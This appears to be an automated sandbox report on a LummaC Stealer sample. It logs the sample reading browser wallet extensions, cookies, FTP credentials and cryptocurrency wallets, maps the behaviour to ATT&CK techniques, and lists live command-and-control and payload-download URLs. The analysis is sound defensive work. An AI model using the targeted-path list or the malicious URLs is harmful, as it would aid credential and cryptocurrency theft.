Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\KLIZUSIQEN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\KLIZUSIQEN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR	Jump to behavior

Source: Yara match	File source: 00000000.00000003.1683420078.0000000000A8C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1683039757.0000000000A88000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6148, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: file.exe PID: 6148, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 Registry Run Keys / Startup Folder	12 Process Injection	1 Masquerading	2 OS Credential Dumping	1 Query Registry	Remote Services	41 Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 PowerShell	1 DLL Side-Loading	1 Registry Run Keys / Startup Folder	34 Virtualization/Sandbox Evasion	LSASS Memory	751 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	12 Process Injection	Security Account Manager	34 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Deobfuscate/Decode Files or Information	NTDS	2 Process Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	2 Obfuscated Files or Information	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	12 Software Packing	Cached Domain Credentials	223 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	41%	Virustotal		Browse
file.exe	100%	Avira	TR/Crypt.ZPACK.Gen
file.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://cook-rain.sbs/L	100%	Avira URL Cloud	malware
https://cook-rain.sbs/z	100%	Avira URL Cloud	malware
http://185.215.113.16/off/def.exe94	100%	Avira URL Cloud	phishing
https://cook-rain.sbs/_	100%	Avira URL Cloud	malware
https://cook-rain.sbs/apiUni	100%	Avira URL Cloud	malware
https://cook-rain.sbs/)	100%	Avira URL Cloud	malware
http://185.215.113.16/;	100%	Avira URL Cloud	phishing

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
cook-rain.sbs	188.114.96.3	true	false	high
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	high
www.google.com	142.250.186.68	true	false	high
js.monitor.azure.com	unknown	unknown	false	high
mdec.nelreports.net	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
peepburry828.sbs	false	high
p10tgrace.sbs	false	high
processhol.sbs	false	high
https://cook-rain.sbs/api	false	high
https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js	false	high
p3ar11fter.sbs	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://authoring-docs-microsoft.poolparty.biz/devrel/7696cda6-0510-47f6-8302-71bb5d2e28cf	chromecache_129.7.dr	false		high
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.1634129952.00000000056F6000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cook-rain.sbs/L	file.exe, 00000000.00000003.1694042936.0000000000A92000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1694894290.0000000000A8F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.1634129952.00000000056F6000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/dotnet/docs/blob/17c4acca45e573a92878a44a2cce57d699fe9c7c/docs/framework/install/	chromecache_129.7.dr	false		high
https://www.linkedin.com/cws/share?url=$	chromecache_120.7.dr, chromecache_109.7.dr	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000003.1634129952.00000000056F6000.00000004.00000800.00020000.00000000.sdmp	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqX1CqX4pbW1pbWfpbZ7ReNxR3UIG8zInwYIFIVs9eYi	file.exe, 00000000.00000003.1664007070.0000000005758000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Youssef1313	chromecache_129.7.dr	false		high
https://management.azure.com/providers/Microsoft.Portal/userSettings/cloudconsole?api-version=2023-0	chromecache_120.7.dr, chromecache_109.7.dr	false		high
https://aka.ms/msignite_docs_banner	chromecache_120.7.dr, chromecache_109.7.dr	false		high
https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-b4da8140-92cf-421c-8b7b-e471d5b9	chromecache_109.7.dr	false		high
http://polymer.github.io/AUTHORS.txt	chromecache_120.7.dr, chromecache_109.7.dr	false		high
https://github.com/dotnet/docs/issues/new?template=z-customer-feedback.yml	chromecache_129.7.dr	false		high
https://management.azure.com/subscriptions?api-version=2016-06-01	chromecache_120.7.dr, chromecache_109.7.dr	false		high
https://github.com/dotnet/docs/blob/main/docs/framework/install/application-not-started.md	chromecache_129.7.dr	false		high
http://x1.c.lencr.org/0	file.exe, 00000000.00000003.1662317052.00000000056CD000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	file.exe, 00000000.00000003.1662317052.00000000056CD000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/pshelpmechoose	chromecache_120.7.dr, chromecache_109.7.dr	false		high
https://aka.ms/feedback/report?space=61	chromecache_129.7.dr	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000000.00000003.1634129952.00000000056F6000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cook-rain.sbs/_	file.exe, 00000000.00000003.1694042936.0000000000A92000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1683440777.0000000000A8F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1694894290.0000000000A8F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1683420078.0000000000A8C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1703932459.0000000000A92000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1742170202.0000000000A92000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1792049833.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1683039757.0000000000A88000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.16/off/def.exe94	file.exe, 00000000.00000003.1742240312.0000000000A6D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1792049833.0000000000A6D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1894285939.0000000000A6A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://learn-video.azurefd.net/vod/player	chromecache_120.7.dr, chromecache_109.7.dr	false		high
https://twitter.com/intent/tweet?original_referer=$	chromecache_120.7.dr, chromecache_109.7.dr	false		high
https://github.com/gewarren	chromecache_129.7.dr	false		high
http://185.215.113.16/off/def.exepleWebKit/537.36	file.exe, 00000000.00000002.1892094686.000000000076B000.00000004.00000010.00020000.00000000.sdmp	false		high
https://support.mozilla.org/products/firefoxgro.all	file.exe, 00000000.00000003.1663630758.00000000059E6000.00000004.00000800.00020000.00000000.sdmp	false		high
http://polymer.github.io/CONTRIBUTORS.txt	chromecache_120.7.dr, chromecache_109.7.dr	false		high
https://github.com/dotnet/docs/blob/live/docs/framework/install/application-not-started.md	chromecache_129.7.dr	false		high
https://authoring-docs-microsoft.poolparty.biz/devrel/69c76c32-967e-4c65-b89a-74cc527db725	chromecache_129.7.dr	false		high
https://client-api.arkoselabs.com/v2/api.js	chromecache_120.7.dr, chromecache_109.7.dr	false		high
https://aka.ms/MSIgniteChallenge/Tier1Banner?wt.mc_id=ignite24_learnbanner_tier1_cnl	chromecache_120.7.dr, chromecache_109.7.dr	false		high
https://management.azure.com/providers/Microsoft.Portal/consoles/default?api-version=2017-12-01-prev	chromecache_120.7.dr, chromecache_109.7.dr	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	file.exe, 00000000.00000003.1634129952.00000000056F6000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Thraka	chromecache_129.7.dr	false		high
http://polymer.github.io/PATENTS.txt	chromecache_120.7.dr, chromecache_109.7.dr	false		high
https://aka.ms/certhelp	chromecache_120.7.dr, chromecache_109.7.dr	false		high
http://185.215.113.16/steam/random.exe	file.exe, 00000000.00000002.1894285939.0000000000A6A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cook-rain.sbs/	file.exe, 00000000.00000003.1792049833.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1683039757.0000000000A88000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1632169295.0000000000A81000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1741948721.0000000005755000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.1634129952.00000000056F6000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	file.exe, 00000000.00000003.1662317052.00000000056CD000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cook-rain.sbs/apiUni	file.exe, 00000000.00000003.1741948721.0000000005755000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://github.com/mairaw	chromecache_129.7.dr	false		high
https://cook-rain.sbs/z	file.exe, 00000000.00000003.1742170202.0000000000A92000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://ocsp.rootca1.amazontrust.com0:	file.exe, 00000000.00000003.1662317052.00000000056CD000.00000004.00000800.00020000.00000000.sdmp	false		high
https://schema.org	chromecache_109.7.dr	false		high
http://polymer.github.io/LICENSE.txt	chromecache_120.7.dr, chromecache_109.7.dr	false		high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696491991400800003.2&ci=1696491991993.	file.exe, 00000000.00000003.1664007070.0000000005758000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.1634129952.00000000056F6000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	file.exe, 00000000.00000003.1663630758.00000000059E6000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_15d7e4b694824b33323940336fbf0bead57d89764383fe44	file.exe, 00000000.00000003.1664007070.0000000005758000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/yourcaliforniaprivacychoices	chromecache_129.7.dr	false		high
https://ac.ecosia.org/autocomplete?q=	file.exe, 00000000.00000003.1634129952.00000000056F6000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/nschonni	chromecache_129.7.dr	false		high
http://185.215.113.16/	file.exe, 00000000.00000003.1792049833.0000000000A90000.00000004.00000020.00020000.00000000.sdmp	false		high
https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-09ce73a6-05a5-4e4d-b3d7-bd5a8c05	chromecache_120.7.dr, chromecache_109.7.dr	false		high
https://cook-rain.sbs/)	file.exe, 00000000.00000003.1703932459.0000000000A92000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1742170202.0000000000A92000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1792049833.0000000000A90000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://github.com/adegeo	chromecache_129.7.dr	false		high
http://crl.micro	file.exe, 00000000.00000003.1742059301.0000000000A65000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cook-rain.sbs:443/api	file.exe, 00000000.00000002.1894285939.00000000009F2000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000000.00000003.1664007070.0000000005758000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/jonschlinkert/is-plain-object	chromecache_120.7.dr, chromecache_109.7.dr	false		high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	file.exe, 00000000.00000003.1662317052.00000000056CD000.00000004.00000800.00020000.00000000.sdmp	false		high
https://octokit.github.io/rest.js/#throttling	chromecache_120.7.dr, chromecache_109.7.dr	false		high
https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u	file.exe, 00000000.00000003.1664007070.0000000005758000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/;	file.exe, 00000000.00000003.1792049833.0000000000A90000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696491991400800003.1&ci=1696491991993.12791&cta	file.exe, 00000000.00000003.1664007070.0000000005758000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg	file.exe, 00000000.00000003.1664007070.0000000005758000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/js-cookie/js-cookie	chromecache_120.7.dr, chromecache_109.7.dr	false		high
http://185.215.113.16/off/def.exe	file.exe, 00000000.00000003.1742240312.0000000000A6D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1792049833.0000000000A6D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1894285939.0000000000A6A000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schema.org/Organization	chromecache_129.7.dr	false		high
https://channel9.msdn.com/	chromecache_120.7.dr, chromecache_109.7.dr	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	file.exe, 00000000.00000003.1634129952.00000000056F6000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/dotnet/try	chromecache_120.7.dr, chromecache_109.7.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.186.68	www.google.com	United States	15169	GOOGLEUS	false
13.107.246.45	s-part-0017.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
188.114.96.3	cook-rain.sbs	European Union	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.8

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1559011
Start date and time:	2024-11-20 03:19:14 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 14s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	14
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@24/71@11/6
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 199.232.210.172, 192.229.221.95, 184.28.89.167, 216.58.212.174, 64.233.166.84, 142.250.186.99, 34.104.35.123, 95.101.150.2, 2.20.245.137, 2.20.245.135, 13.69.116.107, 142.250.186.42, 142.250.185.234, 142.250.181.234, 142.250.186.74, 142.250.185.106, 142.250.185.74, 142.250.186.138, 172.217.18.106, 216.58.206.42, 142.250.185.170, 216.58.212.170, 142.250.185.138, 142.250.185.202, 216.58.206.74, 216.58.212.138, 172.217.16.138, 13.89.178.26, 13.74.129.1, 204.79.197.237, 13.107.21.237, 199.232.214.172, 142.250.186.67, 172.217.18.14
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, c-msn-com-nsatc.trafficmanager.net, clientservices.googleapis.com, browser.events.data.trafficmanager.net, learn.microsoft.com, onedscolprdcus00.centralus.cloudapp.azure.com, e11290.dspg.akamaiedge.net, mdec.nelreports.net.akamaized.net, go.microsoft.com, clients2.google.com, ocsp.digicert.com, star-azurefd-prod.trafficmanager.net, a1883.dscd.akamai.net, learn.microsoft.com.edgekey.net, onedscolprdweu09.westeurope.cloudapp.azure.com, update.googleapis.com, clients1.google.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, otelrules.azureedge.net, c-bing-com.dual-a-0034.a-msedge.net, ctldl.windowsupdate.com, learn.microsoft.com.edgekey.net.globalredir.akadns.net, firstparty-azurefd-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, browser.events.data.microsoft.com, edgedl.me.gvt1.com, e13636.dscb.akamaiedge.net, c.bing.com, learn-public.trafficmanager.net, go.microsoft.com.edgekey.net, dual-a-0034.a-msed
Execution Graph export aborted for target file.exe, PID 6148 because there are no executed function
